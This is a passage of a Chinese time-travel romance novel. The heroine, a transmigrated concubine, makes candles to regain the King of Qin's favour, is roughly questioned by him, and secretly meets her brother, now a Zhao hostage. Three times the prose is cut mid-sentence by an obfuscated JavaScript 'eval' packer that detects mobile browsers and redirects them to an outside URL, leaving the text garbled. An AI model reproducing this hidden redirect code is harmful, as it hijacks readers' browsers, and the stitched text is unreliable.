黑漆漆的殿口看着有点瘆人,她咽了咽口水,从秋穗手中拿过食盒,对门内执勤的内侍说,自己做了些开胃的点心,想送给王上尝尝。 内侍有两个,一左一右地站着,年纪都不大,没有赵高,听了她的话,立在左边那位面无表情进去通报了。 不多时,就传来通传结果。 王上并不想见她,让她回去。 姜暖心口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889253|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跌,有种说不出的失落感。讪讪往回走的路上,她不禁想幸好是自己,没有与秦王恩爱过的记忆,若是原主,此刻怕是会心灰意冷、悲伤到极点了吧。 好歹也是夫妻一场,虽说先前因一时拎不清下过安眠药,但最终不也没把他怎么样吗,她昨日问过秋穗,秋穗说是原主自己觉得过意不去,主动摇醒了秦王,才使得太后的宫变失败在了萌芽阶段。 这样看来,她并没有她之前认为的那样罪大恶极,当然秦王作为心性极高的君王,自然有理由因此厌弃她、憎恶她,可在情感上,她还是有些难以接受,总觉得罪不至此。 真是的,跟个傻瓜一样。 “哎,白忙活了一天。”她踢着地上的碎石,沮丧地嘟囔道。 “这些糕点怎么办呢?”秋穗捧着食盒,心疼地说。 姜暖脚步忽然顿住。 她怎么这么木讷呀,方才秦王只说让她走,没说不要这糕点啊,她怎么就没一把塞进小内侍怀里,说那你帮我把它转交给王上吧,然后扭头就跑呢? 不管怎么说,先把心意送到,其他的日后再说。 她懊恼地直跺脚。 第三天,她又去了章台宫,然而结果却毫无差别。 王上不见她,也不要她的东西,似乎还呵斥了抱着食盒进去通传的小内侍,弄得人家出来时都没好脸色,将食盒重重往秋穗怀里一怼,哼着鼻子踏入殿内继续站岗,瞅都不瞅她们一眼。 姜暖呆在殿门口,感觉有一扇扇门在自己脑中渐次关闭,门轴转动声刺耳又充满讽刺。 是她太自以为是了,秦王岂是她想见,就能见的吗? 眼角泛起一阵潮湿,既是委屈,又是屈辱,她都不记得自己是怎么转身,又是怎么摇摇晃晃步下层层高阶的,等她的意识稍稍回笼,已经和秋穗走在了通往芷阳宫的小树林里。 “没事,回去给大家分了吧。”她抹了一把眼眶,故作轻松地说道。 一道风声从身后蹿过,接着是一道身影从后面猛扑而来,将秋穗撞倒,抓起姜暖的手腕,拽着她就往树林深处跑。 姜暖发出一声短促的惊叫,在男人做了个“嘘”的手势,并转过头来面向她时,惊呼声戛然而止。 还算明亮的月光,映亮了一张胡子拉碴的脸,虽然狼狈不堪,她却依然一眼就将他认出。 “姜、姜承霄?” 男子脚步停住,警觉地四周看看,拉着她闪进一颗大榕树后面。 “姐,果然是你,竟真的是你——前几日匆匆一瞥,我还以为自己出现幻觉了。”他激动地说,然后蹲下来,用力抓了抓头发。 这是他心情极度混乱时的表现,三年前老爸老妈出车祸在医院抢救时,他就是这样红着眼眶蹲在手术室门口的。 姜暖恍惚了好半天,才幡然回神,她捂住嘴巴,也蹲下来搂住弟弟的肩膀,眼泪刷刷而下: “太好了,我终于不是一个人了——” 她喃喃道,今晚的委屈总算有了发泄口。 然而—— 姜承霄深吸一口气,缓缓推开她,眼睛在月光下幽暗地闪了一下。 “并不很好,国夫人殿下。”他苦笑着说,“确切地说,你挺好,我就很惨了。” “诶?”姜暖微愣,忽然猜到了什么,冷汗哗哗直下,“莫、莫非你穿成太监了——” “还不如太监呢。”便宜弟弟自嘲地哼了一声,站了起来,姜暖这才注意到他的衣服又破又旧,“我呀,很不幸穿越成了被父王送到秦国当质子的赵国公子,目前呢,因为惹了秦王不悦,被罚做苦力,先是在安乐坊修城墙,后来宫里要开凿荷花池,便被拉来连夜赶工,怎么样,够惨吧。” 啊,这…… 姜暖一屁股墩坐在了地上。 还真是……挺惨的。 11. 蜡烛 “那人您就不管了吗?万一真是来行刺的刺客呢?” 秋穗揉着摔痛的屁股和胳膊肘,跟在姜暖身后愤愤不平地嘟囔道。 “肯定不是刺客就是了。”姜暖一个猛转身,抓住秋穗的胳膊,“今晚的事,你千万别告诉任何人,拜托了。” 秋穗懵懂地点了点头,又在屁股上揉了揉,随她一同步入寝宫。 方才姜暖还有好多话想和弟弟说,但秋穗已经扬声尖叫起来,小小的身躯爆发出惊人的能量,她怕引来巡逻侍卫,不得不迅速与之分开,姜承霄也敏捷地窜入黑暗深处,两人分别时约定,明日辰时一刻,在这树林中碰面。 弟弟也穿越过来,唯一的解释就是他也死了,可他好好的,身强体健,怎么会死掉呢? 姜暖心中百感交集,在铜盆中净了手,被服侍着换下繁重曲裾,着上宽松柔软的睡袍,略微思考了一会儿,她来到扶苏的房间。 此时此刻,也就只有他,能让自己开心一些了。 撩开帘子,却见小小少年背冲她端坐在书案前,摇头晃脑地诵读着什么,姜暖的心一下盈满了温情,正要抬步进去,扶苏却鬼鬼祟祟垂下脑袋,小手一抬,快速往嘴巴里塞了什么东西,腮帮子一鼓一鼓的。 姜暖轻笑,慢慢走过去,故意踩响地面,听见脚步声,扶小苏肩膀一抖,将嘴里的东西一股脑咽入腹中,而后继续摇头晃脑,佯装认真读书的样子。 姜暖被他逗乐了,踱到他身旁坐下,扶苏乖巧地仰起脑瓜看她,黑眼睛一眨一眨,甚是无辜。 只可惜,嘴角和腮上沾着的几点碎渣出卖了他。 “枣糕好吃吗?”姜暖微笑着摊开一只手。 扶苏睫毛抖了抖,小鼻子可怜巴巴皱起来,垂下头两手在书案下捣鼓了一阵,最后乖乖地把一块缺了一角的枣糕上交到姜暖手心中。 “对不起,阿母。”他目光湿润地望向她,认错态度满分,“实在是太好吃了,我没忍住,偷偷藏了一块——” “小傻瓜,要吃就大大方方的,干嘛偷偷摸摸呀。”姜暖态度一转,将余下的枣糕掰成一半,“给,一人一半,让你都吃了会坏肚子的。” 扶苏眼睛闪了闪:“真的可以吃吗?以前嬷嬷们都不许我在晚饭后吃东西,一旦发现我偷吃,她们第二天就会向父王告状……” “当然可以,不过只能偶尔吃哦,不然你就会变成一个小胖墩,到时候王上见了你,抱都抱不起来。”她戳了戳他仍有些肉嘟嘟的腮帮子,笑道。 像是脑补到了那样的场景,扶苏惶恐地摇了摇头,把分给自己的枣糕又掰去一半,只吃了很小的一块。 看来,他是真的很想让父王抱,讨父王欢心,可惜他父王现在眼里只有工作,对他的态度并不热络,至少看上去是。 她涌起爱怜,掏出手帕为他擦去嘴角和手指上的残渣。 忽然,像是被雷劈了一下,她意识到自己这两天,其实犯了一个致命的大错误。 秦王恨自己,是因为自己曾在他的茶点里下了安眠药,让他差点陷入危机,而这两天自己为了“求复合”,竟还胆敢送去吃食,这不就是在提醒他别忘记她曾经的所作所为,继续恨她吗? 想到这一层,她恨不得原地扇自己两巴掌,若是扶苏不在旁边,她可能真就这么干了。 怎么这么蠢啊,怪不人家不但不见你,还把送东西的小内侍骂了一通…… 她被自己蠢笑了,心绪芜杂地坐在一旁看扶苏背书,看他一半脸蛋被烛火映照,睫毛又长又密,像个秀气的小姑娘。 烛光……是不是太暗点了? 穿越过来这些天,她仍然有诸多不习惯的地方,烛火便是其中之一。 她一直记得古代有蜡烛,但忘记了蜡烛完全成形是在唐宋。春秋战国时代,只有用动物油凝固制成的脂膏,小小一碟,亮度不高不说,燃烧起来还有股呛鼻的焦味,就这还是贵族专用,宫女内侍房间里的烛油更低劣,点燃了呛人不说,还黑烟缭绕,跟烧荒似的。 孩子这么小,就用这样的光源,长大了不会近视吗? 她此刻完全是老妈子的心理了,突然,脑中一道白光骤闪,接着一根粗粗长长的蜡烛,像烤肠一样在她脑海里三百六十度不停旋转。 她心生一个想法。 秦王是个务实主义者,对她的感情虽然存疑,但对送上门的“高科技”产品不会置之不理,自己与其拿些女人家的小心思去讨好他,不如呈上一件显著改善生活的小物件,兴许能够重新博得他的关注。 不需要很多,只要足够保证她安全,就可以了。 第二天早上,偷偷摸摸来到约定的小树林,见到狼狈不堪的弟弟,她连心疼的工夫都没有,胡乱塞给他一包食物和钱币,然后就劈头问起了制作蜡烛的工艺。 弟弟从小喜欢看这类书籍,几乎就是个行走的百科全书。 “你想干嘛?”姜承霄被人当狗似的吆喝着劳作了一夜,原本是想寻求一番姐姐的温柔安抚,结果老姐一脸严肃,似乎只对如何讨好秦王感兴趣。 “你……莫不 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姜暖努力记下每个步骤,分开后,连忙托人寻到蒙毅,恳求他帮忙弄到一罐蜜蜡。 蒙毅的效率出奇的高,暮色刚刚染上天际,他就送来了蜜蜡。 “花了多少钱,我还你。”姜暖接过沉甸甸的罐子,雀跃不已。 “不必了,国夫人,我祖父常年喝蜂蜜水,与养蜂的作坊关系密切,您要的这东西他们以前都是当废料扔掉的,坊主还纳闷我为什么要特意收集这些,他还以为我记错了呢。” “那、那你以后让他们不要把这东西扔了,这可是天赐的好物。”姜暖认真道。 虽然诧异,但蒙毅并没有多问,点了点头便拱手告辞了。 系统说她运气好,可这运气好,也得是用对了方向才有加成。 先前她完全跑偏了,这回,她觉得应该能行。 毕竟秦王日理万机,也是重度蜡烛依赖者,她去过章台宫,还在那里杵了很长一段时间,注意到里面的烛火虽然繁盛,却是由无数多个一人多高的架子撑起来的繁盛,每只架子上都放着几十碟烛油,最后成百碟的豆大火焰连缀成一片光源,浪费又低效,还有股子煤焦味,只不过殿内有熏香,多少掩盖了过去。 若是换成蜡烛的话,虽然也挺浪费(因为蜡烛难得),但一根能燃烧许久,光亮也强数倍,放在桌案上正合适,还不需要下人隔一会儿就上来更换,打扰阅读。 就这么定了,不管秦王接不接受,她都得行动起来,否则永远都无法取得结果。 12.袖子 蜜蜡的制作过程,实际操作起来一点都不简单,不仅姜暖累得满头大汗,帮忙熬煮的几个内侍,也被蒸发出来的蜡油糊了满脸,整个小厨房里,又黏又热,哀声连连,仿佛某个妖怪的洞穴。 不过功夫不负有心人,在浪费了近一半蜜蜡后,另一半总算成功化形为三根粗壮、修长的浅蜜色蜡烛,只是有一根引线歪了,怕是不能顺畅地燃烧到底,姜暖想了想,将这根摘了出去,留着自己用。 忙完这些,已是傍晚,她沐浴了一番,略施淡妆,换上干爽的新衣服,这时冬岚捧着个托盘走进来,盘子上规整摆着三只贝壳形状的精巧小盒。 “夫人,这是您先前常用的香粉,可算领来了,您试试看,香味可还满意?” 姜暖微诧,觉得自己每天又是熏香又是泡花瓣,身上已经够香了,竟还要用香粉吗? 手指踟蹰片刻,正要挑一盒试试,脑中忽然闪了一下,接着,芳若姑姑和远山黛如流星划过脑际。 她并不敢保证秦王今晚一定能收下她的东西,如果不加点辅助的话,搞不好还是会被完璧归赵—— 这次若是再失败,她就真的毫无办法了。 她面色紧紧绷起,蹙眉思索了一会儿。 这些天,通过身边侍女们的偶尔碎碎念,她知晓原主与秦王曾有过很长一段恩爱甜蜜的时光,若是这样的话—— “那个,秋、秋穗……”她脸上有些红,指尖拨弄着其中一盒香粉,“我之前和王上……同房时,用的是哪、哪一种香粉呀?” 秋穗闻言,脸比她还红上几分,扭捏着指了指中间那盒,声音比蚊子嗡嗡大不了多少:“先前您侍寝的时候,惯用的便是这个,王上他……似乎也很喜欢。” 两个女孩满面红霞相对沉默半晌,姜暖伸手取过那只小盒,轻轻打开来,浓郁妖娆的兰花香登时扑面而来,香气馥郁而悠长。 “这里面,没有什么不该有的成分吧?”为了保险起见,她小声问了句。 “没有没有,只是普通的香料而已。”秋穗连忙答道。 姜暖点点头,大胆地在身上涂抹了十足的分量夜风轻轻拂过,香气便像长了翅膀一样,四处飞散。 最终在夜色的掩护下,她做贼一样胆战心惊地来到章台宫,门口的内侍还是那两人,见到她,脸色毫无波澜,但也没有丝毫松动。 姜暖也不说些没用的了,直接把装蜡烛的铜匣,往上次没挨过骂的内侍怀里一塞,她特意站得与他很近,衣袍上的兰花香,柳絮般丝丝缕缕攀上他的衣料。 “王上彻夜批阅奏章,实在辛苦,我按照古书上的记载,做了两根蜡烛,你呈送给王上,让他用着试试。” 她背课文似的说道,眼珠子一动不动,看得人心里发毛。 实际上她是因为紧张,这会儿手心里已然全是汗。 “蜡……烛?”内侍没听过这个词,低头瞅着硬塞给自己的匣子,满眼茫然。 “对。”姜暖强势地把匣子又抢回来,打开向他展示里面的蜜蜡,袖角特意搭上他袖口,以便让香气更多地附着到他身上,“这儿有两根引线,用火引燃后就可以燃烧,散发出来的光亮比现在的烛油亮数倍,也能用很久,你便如此与王上说就是。” 话毕,又把匣子塞了回去。 内侍脸上的表情更加茫然了,他抬袖擦了擦额角渗出的汗珠,觉得送这个进去好像更容易挨骂。 最近王上脾气很是暴躁,今日还与相邦在罢免官员上产生了严重分歧,一怒之下拔剑劈了案角。在这种时候,送这种诡异的东西进去,他该不会也被一剑劈了吧? 他的同伴幸灾乐祸睨了他一眼,一副暗搓搓等着看好戏的样子。 “快去呀。”姜暖小猫扮老虎,拿出唬人的气势,催促道。 她毕竟是国夫人,就算秦王赶走过她一百次,只要没严令不许她再来,她就有权力一次次死乞白赖求见,他们也有义务冒着惹龙颜大怒的风险一次次为她通传。 这便是她目前唯一的优势。 内侍一号脸拉得老长,像只苦瓜,不情不愿“喏”了一声,转身往秦王办公的偏殿走去,身影看上去就像是赶赴刑场。 姜暖在门槛外等得忐忑不安,却又不得不故作镇定,每当身后有响动时,她后背就窜起一个激灵,大约过了三五分钟,苦瓜脸出来了。 他手里空空如也,姜暖提着的一颗心,总算稍稍落下去了一点。 “东西王上已收下,夫人请回吧。” 苦瓜看上去比先前圆润了点,变成了西葫芦形状,神色也是如释重负,但对她的态度还是不冷不热令人摸不清。 想必这也是御前工作者的基本技能吧,姜暖点点头,转身离开了。 回到芷阳宫,她好似脱了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897375|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层皮,连衣服也没换,扑通一声躺倒在榻上,四仰八叉睡着了。 真的好累,伴君如伴虎,如今她算是体会到了。可她才哪到哪儿啊,只是这种程度就耗干了心神,以后怕是更没法混了。 想着想着,意识便滑入深渊,迷迷糊糊中做了一个梦。 她梦见自己到了游乐场,看完马戏表演后买了一大桶爆米花,一边嚼一边寻摸下一个游乐项目。 忽然,一个穿着黑色衣服的小丑出现在视野前方,他个子高高的,正在向小孩子们发气球。 姜暖第一次见到穿黑衣服的小丑,好奇地凑过去。 正发着气球的小丑忽然停下动作,眼珠落在她脸上,一动不动地盯着,红艳艳的唇向耳边缓缓咧开,魅惑又诡谲。 他竖起手指,做了个嘘声的动作,霎时间,在他身边围成一圈的孩子们,瞬间化成黑雾消散,只余她与他对视,周围缭绕着袍子一样的黑色雾气。 小丑眯起眼睛,从气球中挑了最大的一个,微微向前倾身,递到她面前。 小丑身上,有好闻的龙涎香的味道。 姜暖宛如中了咒语般,乖巧地伸出手,指尖刚刚触到引线,周围的世界便轰然坍塌,无数色块飞快旋转,令她头重脚轻,不得不向前栽倒。 她倒入了小丑的怀抱,为了稳住身体,不得不紧紧抓住他的两只手臂,脸深深地、带着祈求埋了进去。 “救救我,救救我……”她呢喃道,手指越抓越紧。 奇怪,为什么明明是梦境,触感却如此真实呢?她想,迷迷糊糊中把头仰起来,想看看世界崩坏成了什么模样。 然而映入她眼帘的,不是小丑惨白诡秘的脸,也不是退化成调色板的虚幻世界,而是秦王放大逼近的冷峻的脸。 随之一股脑涌入视野的,还有熟悉的床幔、香炉、绿植,以及立在入口屏风旁局促不安的秋穗…… 她浑身猛地一哆嗦,睡意陡散,连忙松开紧紧抓着秦王臂膀的两只手,由于太过惶恐,外加骤醒,身形不稳,竟一下子从榻上栽倒,扑通一声摔在了地上。 出于本能,她下意识抓住唯一近在咫尺的秦王的袖口,也不知是不是体重太沉的缘故,竟“噗嗤”一声,将秦王的那只袖子,扯了半边下来。 呜呜呜,好丢人。 她狼狈地匍匐在地上,捧着那只袖角,欲哭无泪。 13.不悦 殿内气氛一时陷入凝滞。 大约过了半分钟,姜暖搜刮起身体里的全部勇气,睫羽轻颤,抬起一双水波潋滟的乌黑美眸,可怜兮兮望向秦王。 “妾、妾做了噩梦,这才不小心撕坏了您的袖子……”她忍着慌乱,努力把每个音节都吐得清晰、无辜,睫毛跟着又眨了眨,面上是一副积极认错的乖顺表情。 最后想想觉得还不够诚恳,连忙把那截黑漆漆的袖管往秦王膝上一放,动作快得像是销赃。 秦王始终未发一言,宽肩挺腰地端坐在榻边,两臂撑着膝盖,薄唇微绷,面无表情,宛如一座暂时沉眠的活火山。 有两道略带审视的目光,从那双昳丽长眸中垂落下来,在她身上缓缓逡巡一遍后,凝在她微微泛起桃红色的面颊上。 姜暖感到胸口有些烫,瑟瑟地覆下睫毛,试图遮住眼中的慌乱与陌生。 为什么是这种眼神呢?她想不明白他在向她传达什么,于是愈发紧张起来,指甲掐进掌心,竭力思考着下一步该怎么做。 忽然,她意识到了一个重要问题。 自己此刻虽然在地上,却并未行礼,而是一种不大雅观的姿势瘫坐着。这一点很不符合封建礼教,秦王或许是因此而不悦,一言不发是在等着她意识到错误,赶紧磕头行礼…… 这份后知后觉吓得她后背冷汗涔涔,连忙摆正身体,双手交叠,正要垂头拜礼时,一双修长肃冷的手,穿过她垂落的发丝,慢慢握住她的下巴。 五指带着明显的力道,慢慢收紧,指尖嵌入她腮边肌肤,压出片片淡色红痕,有些疼。 姜暖身体僵住,随着他缓缓上提的动作,被迫一点点昂起下巴。 直到脖颈向后弯曲成一道无法再弯折的弧度,他才停下来,眼神蓦地带上股寒意,深深望进她因为疼和恐惧而颤抖的杏眸中。 “害怕吗?”他终于开了口,声音冷淡,辨不出情绪,但结合悬在头顶的冷酷眼神,和箍在两腮的恐怖力道,姜暖再傻也猜得到,他此刻对自己满怀恨意。 他的手掌很大,几乎就捏住了她的半个头颅,姜暖一时间各种情绪翻涌,恐惧虽然占了上风,但理智还勉强发挥着功效。 他若真恨她,就不会让她回到原先的寝宫,与他很喜爱的长子住在一起享受天伦之乐。虽说有的人喜欢先给予希望再一脚踹碎,但秦王应该不是这样的变态。 所以说,他为什么问了这样一句话呢?他这样用力捏着她的下颌,让她的脊椎几乎弯折成了九十度,疼得她眼眶绯红,长睫上几点泪珠轻颤,仅仅就是想问她怕不怕吗? 被这般暴力对待,谁能不怕呢?她觉得好笑,又悲惨又好笑,但心思一转,又觉得不对劲。 自己方才说了梦话,一边喊着“救救我”一边紧抓着他的手臂,一副极度害怕的模样,他所问的,应该是针对她的梦话。 “害、害怕——”她又从匮乏的储备中搜刮了点勇气,颤声抖出这句回答。 因着这个被迫后仰的姿势和他强势的力度,她不得不瞪圆了眼睛与他对视,每一丝惶乱与躲闪都被他清晰收入眼底。 他的瞳眸漆黑冷沉,却玄玉般美丽清透,倒映着她小鹿般纯净又无措的面容。 嵌在腮上的手指略松了松,但依然挺疼,她现在整张脸都有些发烫充血,嘴唇更是被挤成一颗鲜艳欲滴的红樱桃。 “那日在殿中,你为何不去寻寡人?宁可浑身淋湿苦等一个时辰,也不肯主动走过来向寡人低头认错吗?” 他再度开口质问道,嗓音依旧透着冷硬,像是一袋边缘锋利的石子互相碰撞。 啥? 姜暖在疼痛中感到一丝诧异,浆糊一团的大脑迟疑了良久,才明白他的意思。 他这是在指责自己,为何不在苏醒过来又被刺客袭击的那个雨夜,第一时间扑到他面前,眼泪汪汪地承认错误并寻求他的庇护,而非要在偏殿傻等到实在坚持不住,才去寻他…… 啊,这—— “那、那是因为我……我醒来时很多事情都想不起来了,所以没有得到王上的传召,不敢冒然乱闯——”姜暖缩着肩膀,努力编造辩解道。 她趁机将自己失忆这件事融入其中,未曾想竟引得他怒意骤起,手指复又收紧,勒得她骨头生疼,颚骨附近得肌肤早已失去了知觉。 “想不起来了?” 秦王眯起眼睛,乌黑的剑眉紧蹙,脸上的神情愤怒中糅杂着难以置信。 姜暖不知道自己哪里踩#雷了,更没想到他竟会如此不悦,但谎已经撒到这了,不得不咬着牙坚持下去。 “是、是的,这四年的时间太漫长了,妾一直在做梦,无边无际又荒谬冗长的梦,以致醒来时脑中浑浑噩噩,什么都想不起来,连生过扶苏都有些记不得了。” 这样说总该万无一失了吧?毕竟如果一个母亲连自己经历惨痛难产诞下的孩子都毫无印象,那么忘记相伴不到两年的寡情夫君,也没什么理解不了的吧? “是么?”却见秦王薄唇微弯,唇角浮现讥讽般笑意,黑沉的眼睛仍紧紧盯住她,就像猎鹰看着爪下的猎物,“如此说来,你我先前的恩怨,倒也可以就此一笔勾销了,是这样么,芈蓉?” 姜暖听得心里直发毛,连忙在他掌中使劲摇了摇头,半散半落的鬓发间步摇轻晃,发出细碎微弱的声音。 “不不不,妾已经从宫人那里得知了来龙去脉,心、心里自然是充满愧疚的,都怪我一时鬼迷心窍,做了那样对不起王上的事,妾知错了,王上若是责罚下来,妾毫无怨言,甘愿受罚……” 她人称混乱地一口气喃喃道,鸦睫不住地忽闪,试图让自己看上去可怜点,值得同情点。 这话不知道他听进去了多少,姜暖只希望他能赶紧松开手指,她的下巴快要碎了。 秦王又细细打量了她一番,忽地一声轻哼,如她祈祷的那样,霍地松开了手指。 她连忙往后挪蹭,巴不得离他百米远,神色戒备,泪眼婆娑地揉搓着自己红肿的下巴。 好歹也是在同一张床上睡过的夫妻,至于下这么重的手吗…… 她在心里愤愤不平地吐槽道,却一点都不敢表现在面上。 历史中记载的不错,他确实有几分喜怒无常。 就在姜暖一边无声哭泣,一边难受地想接下来会有什么磨难等着自己时,一串轻盈又愉快的脚步声,从殿口一路蹦跶进来。 “阿母,阿母,后院树上有只黑猫——” 扶苏乐颠颠地跑了进来,却被眼前的情景吓了一跳,语声和脚步皆戛然而止。 他紧张地咽了咽口水,将两只黑乎乎的小爪子藏到身后,眼神闪烁地望着自己的父王,接着又看向在床脚地下缩成一团的阿母。 “阿母,您怎么了?”小团子见阿母的背影充满痛苦,立刻忘记了对父王的敬畏,蹬蹬跑过来跪倒在她身旁。 姜暖一手护着下巴,尴尬地转过头,挤出一丝苦笑:“没、没事,你父王今日难得屈尊前来,阿母一时太过激动,不小心磕到了下巴,不碍事的。” 能感觉到一道视线沉重地压在脊背上,她微不可察地哆嗦了一下,连忙转移话题道:“院子里怎么会有黑猫呢?以前就有吗?” 扶苏乖巧地摇了摇头:“儿臣也是今日才看见,它好像受了伤,卡在树杈上,儿臣试着爬上去救它,但实在太高了,只爬了一半不得不下来。” “幸好没爬上去。”姜暖抓过他的一只小手,一片污泥下隐隐有破皮的痕迹,抓过另一只,伤得更严重,惊得她都忘了身后正襟危坐的秦王,高声呼唤宫人去请侍医。 “疼不疼?”她心疼地朝他手心吹了几口气,掏出手帕轻轻擦了擦。 扶苏摇摇头,一脸小大人似的坚强表情:“一点都不疼。阿母,那只猫还在树上,儿臣还想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079354|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试——” “胡闹。”被当作背景板的秦王不满地轻喝了一声,成功让母子俩同步率极高地瑟缩了一下。 “扶苏,今日的功课都完成了吗?”清冷磁沉的嗓音,说出来的话却爹味十足。 嗯,也确实是爹。 扶苏扭捏着站起身来,见黑爪子已经暴露,便不再隐瞒,老老实实拱手行礼。 “回父王,都完成了。” 扶苏在功课上一直很努力。 “近来吃饭可有挑食?” 他以前经常挑食。 “没有,儿臣水果蔬菜还有鱼羊肉都吃了。” “很好。” 秦王自榻上起身,黑色的袍服擦过姜暖手臂,唬得她连忙往后躲了躲,生怕他再发癫。 他走到扶苏面前,拧眉察看了他的两只手,见伤口都不深,简单涂涂药明日大约就能好,拧着的眉毛才慢慢舒展开来,以一种不易察觉的方式。 “下次莫要再淘气。”他沉声说道,听不出来是批评,还是警告,抑或者是关心。 扶苏小朋友虽然不似姜暖这般怕他,却也绷着一张小脸,认认真真点了点头,只是心里仍惦记着那只黑猫。 “你——”秦王长身一转,目光锁在正努力把存在感降到最低的姜暖身上。 姜暖心头一紧,可怜巴巴地抬起头,等待着他可能降下来的任何惩罚。 然而秦王仅是冷硬地一笑,俊美凌厉的眉眼间,蓄着一股没能发泄出去的怨气。 完了。姜暖心中咯噔一声。 但他最终什么也没说,最后剜了她一眼,手背在腰后大步流星往外走去。 随着他黑色身影消失,姜暖悬着的一颗心,总算暂时落了回去。 只是他临走时抛下的那个眼神,怎么看怎么都是“你给我等着瞧”的意思…… 想到此,她太阳穴突突跳了几下,悲伤地感到自己的前途很可能是一片兵荒马乱。 她费劲巴拉总算见到了他,可结果却完全不是她想要的。现在别说帮成蟜和韩太妃了,她恐怕连自己都无法保护。 本来还寻思指望秦王,结果他对自己表现出的恨意,似乎比其他人更深,方才被他捏住的时候,她真的一点都不怀疑他会因为她说错一句话、一个词,而毫不留情揉碎她的下巴。 果真是伴君如伴虎,之前是她恋爱脑上头,把事情想简单了。 一个情绪多变的君王,怎么可能会轻易原谅曾经背叛过自己的人呢?即便那人是他的妻子(或许算妾,他没有王后),是他孩子的母亲,也是他曾经交付过真心的初恋情人。 所以说电视剧不能看太多。姜暖丧气地耷拉着眼皮,被秋穗搀着重新上了榻。 扶苏和几个内侍又去了后院,然而那只黑猫竟不见了,找了一圈也没能找到,小朋友困劲上来,也就作罢,被匆匆赶来的侍医敷了药、缠了绷带,乖乖上床睡觉了。 临近凌晨(子时),姜暖还没睡着。她直挺挺躺在床板上,两手捏着被子瞪着床顶架,想从他今日的行为中分析出一点逻辑来。 结果就是,她失眠了两个时辰,还一无所获,两眼乌青地瞪着一团黑暗,毫无思路。 焦灼中,一道黑色的风在耳边呼啸而过,接着,她就对上了一双黄澄澄的大眼睛。 猫的眼睛。 瞳孔竖立,绽放着激越,甚至是愤怒的精光,尾巴也高高竖了起来,像只旗杆一样挺立在昏暗中。 她发出一声惊呼,下意识将被子拉过头顶,守夜的侍女闻声冲进来,却并未看见那只跃上她被窝的黑猫。 接连受到两段惊吓,姜暖索性破罐子破摔,心一横,脖子一挺,竟很快睡了过去。 明天的事就交给明天,这是她一贯的作风。反正伸脖子是死,缩脖子也是死,干脆就顺其自然吧。 她复又恢复了乐观,沉沉地进入了梦乡。 14.宫宴 “姐,知足吧,好歹你衣食无缺,还有那么多人伺候。” 姜承霄没好气地说,大口嚼着姜暖带出来的胡饼。两日未见,他已经胡子拉碴,身上的衣服破了好几个洞,露出参差不齐的线头。 姜暖本是来和他诉苦的,苦水倒了一半,就被他恶狼一样凶残的进食方式惊呆了。 想想也是,自己至少累不着、饿不着,除了秦王没人敢吼自己,还有可爱的小扶苏作伴,弟弟就不同了,连宫里的巡逻士兵都可以随意吆喝他,还总把累活重活分配给他。 想到这儿,姜暖有些过意不去,就好像自己的幸福是从他身上剥夺下来似的。 “你好歹也是赵国的质子,为什么会被这样对待呢?”姜暖掏出手帕,在他脏兮兮的脸上擦了擦,眼圈有点红,“就算秦王恨赵人,也不必如此搓磨你吧?” 姜承霄没有停下咀嚼吞咽的动作,眼睛斜斜扫了她一眼,自嘲般笑了一声道: “这个嘛,是因为我这具身体的主人,在小的时候经常跟在自己兄长身后,朝小#秦王扔石子、扔烂菜叶,骂他是秦国来的狗,有次还把他和赵姬住的茅屋点着了……” “……“姜暖嘴唇翕动了两下,愣是一个音节也没送出来。 做了这样的事,以秦王的性格,没被大鼎烹了已是相当幸运了。 当然也可能,他暂时需要他活着,否则会给赵国发兵的理由。他不是不想杀他,而是时机未到。这样一想,她冷汗又窜了出来。 “我那位兄长,就是现在赵国的王,赵偃。我哪,为了缓解与秦国的关系,被他送来当了质子。哼哼,明明小时候还说什么长大后一定保护我,结果出了事第一时间把我送出去顶包。” 最是无情帝王家嘛,姜暖叹了口气,将打包好的饼和枣糕塞进他怀里。 忽然,她脑中闪了一下,抬眸望着弟弟,诧异道:“为何你会记得原主的事情,甚至小时候的细节都一清二楚,而我却对她完全一无所知呢?” 姜承霄摇摇头,咽下最后一口肉饼,有点噎着了,姜暖连忙把水壶递上去。 两人此刻正躲在一处偏僻花园的假山里,鲜少有人经过,离他劳作的地点也不远。 “也许是因为你这具身体的主人昏迷了太久。”他长长呼出一口气,说道,“兴许某天你也一下子就想起来了。不过,姐,你不是说你先前给秦王下过迷药么,我倒觉得你还是不恢复记忆更好。” 一提这茬,姜暖像小松鼠一样讪讪地团起蓬松的大尾巴:“可王上挺恨我的,在记忆缺失的情况下,我随时都可能踩雷,惹他不悦,简直是举步维艰。” 说到这,她抬手揉了揉下巴。还是很疼。 